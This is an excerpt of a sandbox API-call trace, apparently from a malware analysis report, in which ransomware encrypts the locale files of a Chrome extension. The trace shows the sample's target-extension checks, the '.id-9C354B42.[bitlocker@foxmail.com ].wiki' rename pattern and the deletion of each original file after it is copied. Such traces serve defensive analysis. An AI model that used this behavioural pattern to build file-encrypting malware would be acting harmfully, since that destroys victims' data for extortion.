SetEndOfFile (hFile=0x320) returned 1 [0174.019] CloseHandle (hObject=0x320) returned 1 [0174.020] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.020] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json")) returned 1 [0174.020] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json") returned 152 [0174.020] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json") returned 152 [0174.020] lstrlenW (lpString=".doc") returned 4 [0174.020] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.020] lstrlenW (lpString=".docx") returned 5 [0174.020] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.020] lstrlenW (lpString=".pdf") returned 4 [0174.020] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.020] lstrlenW (lpString=".xls") returned 4 [0174.020] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.020] lstrlenW (lpString=".xlsx") returned 5 [0174.020] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.020] lstrlenW (lpString=".ppt") returned 4 [0174.020] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.020] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json") returned 152 [0174.020] lstrlenW (lpString=".zip") returned 4 [0174.020] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.021] lstrlenW (lpString=".rar") returned 4 [0174.021] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.021] lstrlenW (lpString=".bz2") returned 4 [0174.021] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.021] lstrlenW (lpString=".7z") returned 3 [0174.021] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.021] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json") returned 152 [0174.021] lstrlenW (lpString=".dbf") returned 4 [0174.021] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.021] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json") returned 152 [0174.021] lstrlenW (lpString=".1cd") returned 4 [0174.021] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.021] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json") returned 152 [0174.021] lstrlenW (lpString=".jpg") returned 4 [0174.021] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.021] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json") returned 152 [0174.021] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json") returned 152 [0174.021] lstrlenW (lpString=".doc") returned 4 [0174.021] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.021] lstrlenW (lpString=".docx") returned 5 [0174.021] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.021] lstrlenW (lpString=".pdf") returned 4 [0174.021] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.021] lstrlenW (lpString=".xls") returned 4 [0174.021] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.021] lstrlenW (lpString=".xlsx") returned 5 [0174.021] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.021] lstrlenW (lpString=".ppt") returned 4 [0174.021] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.021] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json") returned 152 [0174.022] lstrlenW (lpString=".zip") returned 4 [0174.022] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.022] lstrlenW (lpString=".rar") returned 4 [0174.022] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.022] lstrlenW (lpString=".bz2") returned 4 [0174.022] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.022] lstrlenW (lpString=".7z") returned 3 [0174.022] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.022] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json") returned 152 [0174.022] lstrlenW (lpString=".dbf") returned 4 [0174.022] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.022] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json") returned 152 [0174.022] lstrlenW (lpString=".1cd") returned 4 [0174.022] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.022] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json") returned 152 [0174.022] lstrlenW (lpString=".jpg") returned 4 [0174.022] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.022] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.022] lstrlenW (lpString="messages.json") returned 13 [0174.022] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0174.023] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=287) returned 1 [0174.023] CloseHandle (hObject=0x320) returned 1 [0174.023] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json")) returned 0x2020 [0174.023] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.023] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0174.023] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.023] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.023] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.024] GetLastError () returned 0x0 [0174.024] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x11f, lpOverlapped=0x0) returned 1 [0174.025] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x120, lpOverlapped=0x0) returned 1 [0174.026] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.026] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.026] SetEndOfFile (hFile=0x198) returned 1 [0174.026] CloseHandle (hObject=0x198) returned 1 [0174.026] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.026] SetEndOfFile (hFile=0x320) returned 1 [0174.027] CloseHandle (hObject=0x320) returned 1 [0174.027] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.027] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json")) returned 1 [0174.028] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json") returned 152 [0174.028] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json") returned 152 [0174.028] lstrlenW (lpString=".doc") returned 4 [0174.028] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.028] lstrlenW (lpString=".docx") returned 5 [0174.028] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.028] lstrlenW (lpString=".pdf") returned 4 [0174.028] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.028] lstrlenW (lpString=".xls") returned 4 [0174.028] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.028] lstrlenW (lpString=".xlsx") returned 5 [0174.028] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.028] lstrlenW (lpString=".ppt") returned 4 [0174.028] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.028] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json") returned 152 [0174.028] lstrlenW (lpString=".zip") returned 4 [0174.028] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.028] lstrlenW (lpString=".rar") returned 4 [0174.028] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.028] lstrlenW (lpString=".bz2") returned 4 [0174.028] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.028] lstrlenW (lpString=".7z") returned 3 [0174.028] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.028] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json") returned 152 [0174.028] lstrlenW (lpString=".dbf") returned 4 [0174.028] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.029] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json") returned 152 [0174.029] lstrlenW (lpString=".1cd") returned 4 [0174.029] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.029] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json") returned 152 [0174.029] lstrlenW (lpString=".jpg") returned 4 [0174.029] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.029] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json") returned 152 [0174.029] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json") returned 152 [0174.029] lstrlenW (lpString=".doc") returned 4 [0174.029] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.029] lstrlenW (lpString=".docx") returned 5 [0174.029] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.029] lstrlenW (lpString=".pdf") returned 4 [0174.029] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.029] lstrlenW (lpString=".xls") returned 4 [0174.029] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.029] lstrlenW (lpString=".xlsx") returned 5 [0174.029] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.029] lstrlenW (lpString=".ppt") returned 4 [0174.029] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.029] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json") returned 152 [0174.029] lstrlenW (lpString=".zip") returned 4 [0174.029] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.029] lstrlenW (lpString=".rar") returned 4 [0174.029] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.029] lstrlenW (lpString=".bz2") returned 4 [0174.029] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.029] lstrlenW (lpString=".7z") returned 3 [0174.030] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.030] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json") returned 152 [0174.030] lstrlenW (lpString=".dbf") returned 4 [0174.030] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.030] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json") returned 152 [0174.030] lstrlenW (lpString=".1cd") returned 4 [0174.030] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.030] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json") returned 152 [0174.030] lstrlenW (lpString=".jpg") returned 4 [0174.030] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.030] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.030] lstrlenW (lpString="messages.json") returned 13 [0174.030] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0174.030] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=253) returned 1 [0174.031] CloseHandle (hObject=0x320) returned 1 [0174.031] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json")) returned 0x2020 [0174.031] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.031] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0174.031] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.031] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.031] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.032] GetLastError () returned 0x0 [0174.032] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xfd, lpOverlapped=0x0) returned 1 [0174.033] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x100, lpOverlapped=0x0) returned 1 [0174.033] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.033] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.034] SetEndOfFile (hFile=0x198) returned 1 [0174.034] CloseHandle (hObject=0x198) returned 1 [0174.034] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.034] SetEndOfFile (hFile=0x320) returned 1 [0174.035] CloseHandle (hObject=0x320) returned 1 [0174.035] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.035] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json")) returned 1 [0174.035] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json") returned 152 [0174.035] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json") returned 152 [0174.035] lstrlenW (lpString=".doc") returned 4 [0174.035] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.035] lstrlenW (lpString=".docx") returned 5 [0174.035] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.035] lstrlenW (lpString=".pdf") returned 4 [0174.035] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.035] lstrlenW (lpString=".xls") returned 4 [0174.035] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.035] lstrlenW (lpString=".xlsx") returned 5 [0174.036] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.036] lstrlenW (lpString=".ppt") returned 4 [0174.036] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.036] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json") returned 152 [0174.036] lstrlenW (lpString=".zip") returned 4 [0174.036] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.036] lstrlenW (lpString=".rar") returned 4 [0174.036] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.036] lstrlenW (lpString=".bz2") returned 4 [0174.036] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.036] lstrlenW (lpString=".7z") returned 3 [0174.036] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.036] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json") returned 152 [0174.036] lstrlenW (lpString=".dbf") returned 4 [0174.036] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.036] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json") returned 152 [0174.036] lstrlenW (lpString=".1cd") returned 4 [0174.036] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.036] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json") returned 152 [0174.036] lstrlenW (lpString=".jpg") returned 4 [0174.036] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.036] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json") returned 152 [0174.036] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json") returned 152 [0174.036] lstrlenW (lpString=".doc") returned 4 [0174.036] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.036] 